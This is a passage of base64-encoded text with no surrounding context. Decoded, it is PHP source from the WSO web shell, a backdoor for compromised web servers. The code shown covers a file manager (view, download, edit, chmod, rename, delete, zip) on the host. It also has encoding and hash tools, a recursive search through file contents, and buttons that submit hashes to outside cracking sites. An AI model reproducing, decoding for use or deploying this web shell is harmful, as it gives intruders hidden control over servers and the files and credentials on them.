QogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7IA0KICAgIH0gDQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OyANCiAgICBmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7IA0KICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykgDQogICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyANCiAgICB9IA0KICAgIHVzb3J0KCRmaWxlcywgIndzb0NtcCIpOyANCiAgICB1c29ydCgkZGlycywgIndzb0NtcCIpOyANCiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsgDQogICAgJGwgPSAwOyANCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgeyANCiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZygnRmlsZXNUb29scycsbnVsbCwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJycsICd2aWV3JykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZygnRmlsZXNNYW4nLCcnLiRmWydwYXRoJ10uJycpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJycsJ2NobW9kJykiPicuJGZbJ3Blcm1zJ10gDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLicnLCAncmVuYW1lJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLicnLCAndG91Y2gnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLicnLCAnZWRpdCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nJywgJ2Rvd25sb2FkJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOyANCiAgICAgICAgJGwgPSAkbD8wOjE7IA0KICAgIH0gDQogICAgZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTc+IA0KICANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+IA0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPiANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4gDQogICAgPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7IA0KICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSANCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsgDQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7IA0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pKSANCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOyANCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDsiOyANCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX1NFU1NJT05bJ2FjdCddID09ICd0YXInKSkpIA0KICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOyANCiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgeyANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fSANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7fX0gDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0gDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0gDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0gDQogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoIA0KICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLCANCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywgDQogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywgDQogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywgDQogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywgDQogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsIA0KICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsIA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsIA0KICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywgDQogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLCANCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLCANCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywgDQogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywgDQogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywgDQogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywgDQogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgDQogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLCANCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsIA0KICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLCANCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLCANCiAgICApOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpIA0KICAgICAgICAgICAgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsgDQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIm5ydFwnACIpLiInO24iOyANCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAibiIsICR0ZW1wOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOyANCiAgICBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsgDQogICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpIA0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7IA0KICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsgDQogICAgfSANCiAgICBlY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIHRleHQgaW4gZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IA0KICANCiAgICAgICAgPGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4gDQogICAgICAgICAgICA8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdGFibGU+PC9mb3JtPiI7IA0KICANCiAgICBmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7IA0KICAgICAgICBpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpIA0KICAgICAgICAgICAgJHBhdGguPScvJzsgDQogICAgICAgICRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsgDQogICAgICAgICAgICBmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgeyANCiAgICAgICAgICAgICAgICBpZihAaXNfZGlyKCRpdGVtKSl7IA0KICAgICAgICAgICAgICAgICAgICBpZigkcGF0aCE9JGl0ZW0pIA0KICAgICAgICAgICAgICAgICAgICAgICAgd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihAc3RycG9zKEBmaWxlX2dldF9jb250ZW50cygkaXRlbSksIEAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNUb29scyIsbnVsbCwiIi51cmxlbmNvZGUoJGl0ZW0pLiIiLCAidmlldyIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYoQCRfUE9TVFsncDMnXSkgDQogICAgICAgIHdzb1JlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOyANCiAgICBlY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogIA0KICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNrLmNvbScgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1pbHcwcm0uY29tL2NyYWNrZXIvc2VhcmNoLnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNraW5nLmluZm8nIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcuaW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4gDQogICAgICAgIDwvZm9ybT48L2Rpdj4iOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7IA0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkgDQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOyANCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICBpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyANCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsgDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7IA0KICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOyANCiAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IA0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH1leGl0OyANCiAgICB9IA0KICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgeyANCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7IA0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgeyANCiAgICAgICAgZWNobyAnRmlsZSBub3QgZXhpc3RzJzsgDQogICAgICAgIHdzb0Zvb3RlcigpOyANCiAgICAgICAgcmV0dXJuOyANCiAgICB9IA0KICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsgDQogICAgaWYoISR1aWQpIHsgDQogICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsgDQogICAgICAgICRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsgDQogICAgfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsgDQogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3dzb1ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy53c29QZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOyANCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsgDQogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKSANCiAgICAgICAgJF9QT1NUWydwMiddID0gJ3ZpZXcnOyANCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkgDQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgDQogICAgZWxzZQ0KICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgDQogICAgZm9yZWFjaCgkbSBhcyAkdikgDQogICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLCcnLnN0cnRvbG93ZXIoJHYpLicnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOyANCiAgICBlY2hvICc8YnI+PGJyPic7IA0KICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsgDQogICAgICAgIGNhc2UgJ3ZpZXcnOiANCiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6IA0KICAgICAgICAgICAgaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgeyANCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7IA0KICAgICAgICAgICAgICAgICRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsgDQogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdjaG1vZCc6IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICAkcGVybXMgPSAwOyANCiAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKSANCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsgDQogICAgICAgICAgICAgICAgaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW4ndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsgDQogICAgICAgICAgICBlY2hvIC